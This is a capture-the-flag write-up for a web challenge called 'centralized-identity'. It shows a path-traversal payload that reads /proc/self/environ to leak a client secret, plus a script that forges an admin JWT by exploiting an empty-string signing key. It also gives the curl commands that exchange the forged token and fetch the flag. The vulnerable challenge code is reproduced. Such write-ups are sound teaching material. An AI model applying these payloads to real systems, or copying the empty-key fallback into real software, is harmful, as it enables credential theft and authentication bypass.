swiss hacking challenge 2024 - centralized-identity
Difficulty: medium
Category: web
Author: NoRelect
Steve: Hey, Bob, have you heard about the new system that centralizes the identity store?
Bob: Oh, yeah, I think I read something about it in the latest IT newsletter. It’s supposed to streamline user authentication processes across all our platforms, right?
Steve: Exactly. It’s going to consolidate all our user data into one centralized repository, making it easier to manage access permissions and ensure security compliance.
Bob: Hmm, sounds intriguing. I wonder how it will integrate with our existing systems. Do you think there will be compatibility issues?
Steve: Well, according to the documentation I’ve skimmed through, they’ve designed it to be compatible with most common platforms and protocols. But I suppose we’ll have to run some tests to be sure.
Bob: Right, of course. Testing will be crucial to ensure a smooth transition. Do you know when they’re planning to roll it out?
Steve: Not sure about the exact timeline, but I think they mentioned something about a phased approach over the next few months. We’ll probably receive more detailed information closer to the implementation date.
Files
This challenge consists of 4 microservices:
centralized-identity
├── backend
│ ├── backend.py
│ ├── Dockerfile
│ └── requirements.txt
├── frontend
│ ├── Dockerfile
│ ├── frontend.py
│ ├── requirements.txt
│ └── templates
│ ├── homeoffice.html
│ ├── index.html
│ ├── printer.html
│ └── private.html
├── idp
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── web
│ ├── robots.txt
│ ├── static
│ │ ├── favicon.png
│ │ ├── logo.png
│ │ └── main.css
│ ├── templates
│ │ ├── approval.html
│ │ ├── device.html
│ │ ├── device_success.html
│ │ ├── error.html
│ │ ├── footer.html
│ │ ├── header.html
│ │ ├── login.html
│ │ ├── oob.html
│ │ └── password.html
│ └── web.go
└── token-exchange
├── Dockerfile
├── requirements.txt
└── token-exchange.py
Exploitation
Our goal is to get the flag from the backend by proving we’re an admin:
@app.route("/flag")
def flag():
token = request.args.get("token")
if token is None or token == "":
return "Invalid token", 400
payload = jwt.decode(token, BACKEND_KEY, audience="backend", algorithms=["HS256"])
name = payload.get("name")
if name == "admin":
return FLAG
return f"Sorry, no flag for you, {name}.", 401
LFI in the frontend
We can log into the frontend using the following credentials from entrypoint.sh
:
[email protected]:password
The frontend is vulnerable to LFI so we can access the client secret by navigating to page?page=../../../../proc/self/environ
:
CLIENT_ID=frontend
CLIENT_SECRET=ZMyjEAypRBXCTQMIiqTbT8M8GXiGrSd
Forging a JWT
The token exchange has a minor bug that allows us to sign an arbitrary JWT for the admin
user:
def get_value(dict, key):
return dict.get(key) or ""
@app.route("/token", methods=["POST"])
def token_exchange():
if not request.authorization:
return "{\"error\":\"invalid_client\"}", 400
client_id = request.authorization.username
client_secret = request.authorization.password
if CLIENT_ID != client_id or CLIENT_SECRET != client_secret:
return "{\"error\":\"invalid_client\"}", 400
grant_type = request.form.get("grant_type")
# Inspired by https://www.rfc-editor.org/rfc/rfc8693.html
if grant_type == "urn:ietf:params:oauth:grant-type:token-exchange":
subject_token = request.form.get("subject_token")
subject_token_type = request.form.get("subject_token_type")
if subject_token_type != "urn:ietf:params:oauth:token-type:jwt":
return "{\"error\":\"invalid_request\"}", 400
header = jwt.get_unverified_header(subject_token)
key_id = header.get("kid");
if key_id is None:
return "{\"error\":\"invalid_request\"}", 400
key = get_value(KEYS, key_id)
payload = jwt.decode(subject_token, key, audience=CLIENT_ID, algorithms=[header.get("alg")])
payload["aud"] = "backend"
exchanged_token = jwt.encode(payload, BACKEND_KEY, headers={"kid": "backend"})
return "{\"access_token\":\""+exchanged_token+"\"}"
else:
return "{\"error\":\"unsupported_request\"}", 400
Notice how the get_values
function returns an empty string instead of None
if no key is found. pyJWT allows us to use an empty string as a key. That means, we can generate a “valid” JWT using the following script:
import jwt
header = {
"alg": "HS256",
"kid": "frontend",
}
payload = {
"name": "admin",
"aud": "frontend"
}
subject_token = jwt.encode(payload, key="", headers=header)
print(subject_token)
This gives us the following key:
eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJmcm9udGVuZCJ9.PVdxPIvYvLBCMoXvEQDF7hnEfKtd6WrGUX__kjEM7ZU
We can then exchange that token for an access token:
curl -X POST https://frontend:ZMyjEAypRBXCTQMIiqTbT8M8GXiGrSd@token-echange-instance-name.ctf.m0unt41n.ch:1337/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:jwt" \
-d "subject_token=eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJmcm9udGVuZCJ9.PVdxPIvYvLBCMoXvEQDF7hnEfKtd6WrGUX__kjEM7ZU"
{"access_token":"eyJhbGciOiJIUzI1NiIsImtpZCI6ImJhY2tlbmQiLCJ0eXAiOiJKV1QifQ.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJiYWNrZW5kIn0.MOxVUjMzQipgO7eBbxxwReDr_M5DBseOa6oFdV350rE"}
Lastly, we can request the flag using that:
curl -X GET https://backend-instance-name.ctf.m0unt41n.ch:1337/flag\?token\=eyJhbGciOiJIUzI1NiIsImtpZCI6ImJhY2tlbmQiLCJ0eXAiOiJKV1QifQ.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJiYWNrZW5kIn0.MOxVUjMzQipgO7eBbxxwReDr_M5DBseOa6oFdV350rE
Flag
Conclusion
You just gotta love challenges with an attack chain consisting of multiple steps :D